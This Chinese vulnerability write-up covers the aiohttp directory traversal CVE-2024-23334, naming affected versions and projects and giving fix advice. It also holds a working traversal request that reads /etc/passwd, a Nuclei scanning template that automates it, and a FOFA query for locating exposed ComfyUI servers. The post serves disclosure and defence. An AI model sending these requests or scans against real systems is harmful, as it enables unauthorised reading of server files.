aiohttp 目录遍历漏洞(CVE-2024-23334)

免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

aiohttp是一个用于异步网络编程的Python库,支持客户端和服务器端的网络通信。它利用Python的asyncio库来实现异步IO操作,这意味着它可以处理大量并发网络连接,而不会导致线程阻塞或性能下降。aiohttp常用于需要高性能网络通信的应用程序,如高频交易平台、大规模并发API服务等。

aiohttp 存在目录遍历漏洞,恶意攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等。

利用条件:

1、使用aiohttp实现Web服务;

2、配置aiohttp中的静态资源解析,使用了不安全的参数follow_symlinks,代码如routes.static("/static", static_dir, follow_symlinks=True)

3、成功利用该漏洞可读取服务器上任意文件。另外值得一提的是,Github上多个高star开源项目并未正确配置该参数,目前已知受影响的开源项目有:

https://github.com/comfyanonymous/ComfyUI/
https://github.com/ray-project/ray

影响版本:

1.0.5 < version < 3.9.2

Ⅱ、fofa语句

title=="ComfyUI"

Ⅲ、漏洞复现

POC

GET /static/../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

1、构建数据包读取/etc/passwd的内容

Ⅳ、Nuclei-POC

id: aiohttp-read

info:
  name: aiohttp 存在目录遍历漏洞,恶意攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等。
  author: WLF
  severity: high
  metadata: 
    fofa-query: title=="ComfyUI"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        GET /static/../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
        Connection: close
        Accept: */*
        Accept-Language: en
        Accept-Encoding: gzip


    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"/bin/bash")

Ⅴ、修复建议

1、前往官方下载修复版本

该项目已发布修复版本: https://github.com/aio-libs/aiohttp/releases/tag/v3.9.2

2、如果使用follow_symlinks=True,请立即禁用该选项;

使用防护类设备进行防护,拦截../../等路径穿越字符;

使用反向代理服务器(例如nginx)处理静态资源。

  • 28
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值